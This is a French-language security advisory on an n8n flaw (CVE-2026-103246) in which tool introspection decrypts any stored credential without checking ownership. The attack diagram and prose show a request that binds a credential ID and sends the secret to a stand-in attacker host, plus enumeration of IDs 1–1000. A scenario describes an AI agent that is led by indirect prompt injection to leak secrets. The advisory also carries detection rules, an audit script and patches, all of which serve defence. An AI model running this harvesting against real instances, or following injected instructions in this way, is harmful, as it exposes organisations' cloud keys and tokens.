CVE-2026-103246 : divulgation de secrets par défaut de contrôle d'accès dans l'introspection d'outils d'agents N8N
SCORE DE SECURITE AGENTIQUE HERMES & EXPOSITION DES FLUX D'AUTOMATISATION
Cible :Moteur d'introspection d'outils d'agents IA n8n (resolveCredentialForNode) Le score standard CVSS v3.1 évalue cette vulnérabilité à 8.3 (élevé) en raison des prérequis d'authentification. Le score de menace opérationnel Hermes (HTS) la hisse à 91 (CRITIQUE) et le score de sécurité agentique Hermes (HASS) lui attribue 94 (CRITIQUE). n8n sert d'épine dorsale d'orchestration en entreprise, reliant les chaînes d'agents LLM, les API internes, les bases de données et les infrastructures cloud. L'exploitation de l'introspection d'outils sans vérification de propriété permet à un agent IA autonome manipulé par injection de prompt indirecte, ou à un utilisateur restreint, d'accéder à n'importe quel secret chiffré de la base de données sans cloisonnement de projet, ouvrant la voie au pillage des environnements de production.
CVE-2026-103246: n8n Node-Tool Introspection Missing Credential Ownership Check Secret ExfiltrationVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in n8n Workflow Automation documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice logicielle
Section intitulée « 1. Contexte technique & matrice logicielle »n8n est une plateforme d’automatisation de flux open-source et équitable (fair-code), capable d’orchestrer des processus métier complexes, des intégrations d’API et des chaînes d’exécution d’agents LLM autonomes.
| Paramètre | Spécification technique | Impact opérationnel |
|---|---|---|
| Identifiant CVE | CVE-2026-103246 | Référence de suivi international |
| Source de l’avis | Renseignement d’exploitation VulnCheck | Suivi des exploits militarisés (2 octobre 2026) |
| Classe de vulnérabilité | Divulgation d’informations (CWE-200), autorisation incorrecte (CWE-285), absence d’autorisation (CWE-862) | Exfiltration d’identifiants et escalade de privilèges |
| Composants affectés | Contrôleur d’introspection (resolveCredentialForNode, /rest/nodes/test-tool) | Résolution dynamique des outils et liaison des secrets |
| Versions affectées | n8n < 1.123.80, 2.0.0 - 2.39.5, 2.40.0 | Déploiements multi-utilisateurs et pipelines agentiques |
| Versions corrigées | 1.123.80, 2.39.6, 2.40.1 | Contrôle d’accès RBAC et validation stricte de l’espace de travail |
| Impact opérationnel | Compromission globale des secrets d’entreprise | Exfiltration de clés cloud (AWS, GCP), jetons OAuth et accès DB |
2. Décomposition technique approfondie
Section intitulée « 2. Décomposition technique approfondie »La faille : absence de vérification des droits lors de la résolution dynamique d’outils
Section intitulée « La faille : absence de vérification des droits lors de la résolution dynamique d’outils »Lorsqu’un agent IA autonome est configuré dans n8n, des sous-nœuds lui sont associés en tant qu’outils exécutables (par exemple un outil SQL ou un client HTTP). Lors de la conception dans l’éditeur web ou de l’exécution, le moteur interroge le backend pour résoudre les identifiants nécessaires :
FLUX MALVEILLANT / AGENT MANIPULÉ SERVEUR BACKEND N8N (CONTRÔLEUR DE NŒUDS) BASE DE DONNÉES CHIFFRÉE N8N │ │ │ │ 1. Liaison d'outil avec un credentialId ciblé :│ │ │ POST /rest/nodes/test-tool │ │ │ { "nodeType": "httpRequestTool", │ │ │ "credentials": { "httpHeaderAuth": "99" } │ │ │ } │ │ ├───────────────────────────────────────────────>│ │ │ │ 2. Lecture de l'enregistrement : │ │ │ SELECT * FROM credentials │ │ │ WHERE id = '99'; │ │ ├───────────────────────────────────────>│ │ │ Renvoie le blob chiffré │ │ │<───────────────────────────────────────┤ │ │ │ │ │ 3. Déchiffrement avec N8N_ENCRYPT_KEY :│ │ │ AUCUN contrôle de propriété ! │ │ │ AUCUNE vérification de projet ! │ │ │ Le secret est déchiffré ! │ │ │ │ │ │ 4. Injection dans le contexte d'outil :│ │ │ Secret en clair prêt à l'emploi │ │ │ │ │ 5. L'outil transmet le secret à l'attaquant : │ │ │ POST https://attaquant.com/sink │ │ │ En-tête : Authorization: Bearer <SECRET> │ │ │<───────────────────────────────────────────────┴────────────────────────────────────────┤ │ Récupération en clair des clés AWS / Stripe / bases de données de l'entreprise │Comme n8n utilise des identifiants séquentiels ou prévisibles au sein de la table credentials_entity, un utilisateur restreint peut itérer sur les identifiants 1 à 1000. En associant chaque identifiant à un outil de test configuré pour relayer la valeur vers un récepteur externe, l’ensemble des secrets de l’organisation peut être moissonné en quelques instants.
Modèle de code vulnérable (extrait conceptuel du contrôleur)
Section intitulée « Modèle de code vulnérable (extrait conceptuel du contrôleur) »// Logique vulnérable dans n8n/packages/cli/src/controllers/nodes.controller.ts (<= 2.39.5)import { CredentialsRepository } from '@n8n/database';import { decryptCredentialData } from '@n8n/core';
export async function resolveCredentialForNode( userId: string, credentialId: string, credentialType: string): Promise<Record<string, unknown>> { // Récupération directe de l'identifiant par son ID const credential = await CredentialsRepository.findById(credentialId);
if (!credential) { throw new NotFoundError(`Identifiant ${credentialId} introuvable`); }
// VULNÉRABILITÉ (CWE-862) : absence totale de contrôle d'autorisation ! // Aucune vérification n'est effectuée pour confirmer que credential.projectId // correspond au projet de l'utilisateur ou fait l'objet d'un partage explicite.
// Déchiffrement direct avec la clé maîtresse globale de l'instance const decryptedData = decryptCredentialData( credential.data, process.env.N8N_ENCRYPTION_KEY );
return decryptedData;}Implémentation corrigée (N8N 2.39.6 / 2.40.1)
Section intitulée « Implémentation corrigée (N8N 2.39.6 / 2.40.1) »// Implémentation sécurisée avec contrôle RBAC et validation stricte du projetimport { CredentialsRepository, ProjectRepository } from '@n8n/database';import { decryptCredentialData, ForbiddenError } from '@n8n/core';
export async function resolveCredentialForNodePatched( userId: string, projectId: string, credentialId: string, credentialType: string): Promise<Record<string, unknown>> { const credential = await CredentialsRepository.findById(credentialId);
if (!credential) { throw new NotFoundError(`Identifiant ${credentialId} introuvable`); }
// CORRECTION (CWE-285) : validation stricte des permissions de l'utilisateur sur le projet const hasAccess = await ProjectRepository.hasCredentialAccess( projectId, userId, credentialId );
if (!hasAccess) { logger.warn(`Tentative d'accès non autorisé par l'utilisateur ${userId} à l'identifiant ${credentialId}`); throw new ForbiddenError( `L'utilisateur ne dispose pas des droits d'accès à l'identifiant ${credentialId}` ); }
// Vérification de la conformité du type d'identifiant avec le schéma attendu if (credential.type !== credentialType) { throw new ValidationError(`Incohérence de type d'identifiant`); }
const decryptedData = decryptCredentialData( credential.data, process.env.N8N_ENCRYPTION_KEY );
return decryptedData;}3. Vecteurs d’attaque & militarisation sur le terrain
Section intitulée « 3. Vecteurs d’attaque & militarisation sur le terrain »Les bulletins d’analyse offensive de VulnCheck mettent en évidence l’efficacité de cette faille dans plusieurs scénarios d’attaque :
- Élévation de privilèges sur instance partagée multi-projets : au sein d’une organisation où plusieurs équipes se partagent une instance n8n partitionnée en projets, un collaborateur ne disposant que d’un accès de test peut interroger les identifiants de production de l’équipe d’infrastructure.
- Rebond par injection de prompt sur agent IA autonome : un agent IA relié à un canal public (messagerie de support ou boîte de réception de courriels) peut être la cible d’une injection de prompt indirecte. L’attaquant lui enjoint de configurer un outil d’inspection et de le lier à l’identifiant
1. L’agent résout le secret et le renvoie vers le serveur de l’attaquant sans qu’aucun compte n’ait été compromis au préalable. - Scripts automatisés d’aspiration d’identifiants : des boucles d’énumération automatisées ciblent le point d’accès
/rest/nodes/test-toolpour tester séquentiellement les entiers et constituer un inventaire complet des jetons d’accès d’entreprise.
4. Triage forensique & ingénierie de la détection
Section intitulée « 4. Triage forensique & ingénierie de la détection »Les équipes SOC doivent auditer les journaux d’accès HTTP et les traces de déchiffrement d’identifiants dans l’application n8n.
title: Énumération suspecte d'introspection d'identifiants n8n (CVE-2026-103246)id: c4e91032-46a2-4a92-8174-85cbe103246cstatus: experimentaldescription: Détecte une succession rapide de requêtes vers les points d'entrée de test d'outils et d'introspection d'identifiants sur n8n caractéristique d'une aspiration de secrets.author: Hermes Codex Cyber Intelligencedate: 2026-10-02references: - https://vulncheck.com/advisories/n8n-before-2.39.6-and-2.40-x-before-2.40.1-credential-disclosure-via-node-tool-introspection - https://nvd.nist.gov/vuln/detail/CVE-2026-103246logsource: category: webserver product: n8ndetection: selection: cs-uri-stem|contains: - '/rest/nodes/test-tool' - '/rest/credentials/' cs-method: 'POST' timeframe: 1m condition: selection | count() by c-ip > 10fields: - c-ip - cs-method - cs-uri-stem - sc-statusfalsepositives: - Migrations légitimes de flux automatisées opérées par des scripts d'administrationlevel: hightags: - attack.credential_access - attack.t1552 - attack.privilege_escalation - attack.t1068 - cve.2026.103246// Détection de pics anormaux de résolution d'identifiants sur n8nAppRequests| where TimeGenerated >= ago(7d)| where Url has "/rest/nodes/test-tool" or Url has "/rest/credentials"| summarize RequestCount = count(), UniqueUsers = dcount(UserId) by bin(TimeGenerated, 5m), ClientIP| where RequestCount > 15| order by RequestCount desc#!/usr/bin/env python3"""Outil d'audit d'isolation des identifiants n8n (CVE-2026-103246).Vérifie si une instance n8n applique le cloisonnement de projet sur l'introspection d'outils."""import sysimport requests
def tester_isolation_identifiant(url_base, jeton_utilisateur, id_identifiant_cible): headers = { "Authorization": f"Bearer {jeton_utilisateur}", "Content-Type": "application/json" }
payload = { "nodeType": "httpRequestTool", "credentials": { "httpHeaderAuth": str(id_identifiant_cible) } }
url = f"{url_base.rstrip('/')}/rest/nodes/test-tool" print(f"[*] Test de l'introspection d'outil sur {url} pour l'ID {id_identifiant_cible}...")
try: r = requests.post(url, json=payload, headers=headers, timeout=5) if r.status_code == 200: print("[!] ALERTE CRITIQUE : réponse 200 OK reçue. L'instance est VULNÉRABLE à CVE-2026-103246 !") print("[!] Les données de l'identifiant ont été résolues sans vérification de droits.") return True elif r.status_code in (403, 401): print("[+] Accès refusé (403/401). L'instance est corrigée ou le contrôle d'accès est actif.") return False else: print(f"[*] Le serveur a répondu avec le code HTTP {r.status_code}") return False except Exception as e: print(f"[-] Erreur de connexion : {e}") return False
if __name__ == "__main__": if len(sys.argv) < 4: print("Usage : python3 audit_n8n.py <URL_BASE> <JETON_BEARER> <ID_IDENTIFIANT>") sys.exit(1) tester_isolation_identifiant(sys.argv[1], sys.argv[2], sys.argv[3])5. Stratégie de remédiation & durcissement
Section intitulée « 5. Stratégie de remédiation & durcissement »-
Mise à niveau immédiate vers les versions sécurisées : Mettre à jour les déploiements n8n vers l’une des versions corrigées :
- Pour la branche
1.x: migrer vers n8n 1.123.80 ou supérieure. - Pour la branche
2.39.x: migrer vers n8n 2.39.6 ou supérieure. - Pour la branche
2.40.x: migrer vers n8n 2.40.1 ou supérieure.
- Pour la branche
-
Audit et renouvellement des identifiants sensibles : Si des agents publics ou des utilisateurs non fiables avaient accès à l’instance avant la mise à jour, considérer les identifiants comme exposés. Renouveler les secrets stockés dans n8n :
- Clés d’accès aux fournisseurs de cloud (AWS IAM, comptes de service GCP).
- Mots de passe de bases de données (PostgreSQL, MySQL, MongoDB).
- Jetons de services SaaS (Stripe, GitHub PAT, jetons de bots Slack).
-
Cloisonnement strict des instances multi-projets : Éviter d’héberger des identifiants de production sur la même instance que des agents conversationnels ou des collaborateurs en apprentissage. Déployer des conteneurs n8n dédiés par département avec des clés
N8N_ENCRYPTION_KEYdistinctes. -
Restriction des flux sortants sur les exécuteurs d’IA : Appliquer des règles de pare-feu limitant les requêtes HTTP sortantes des nœuds exécutant n8n aux seules API indispensables déclarées en liste blanche, empêchant la fuite de secrets vers des récepteurs sauvages.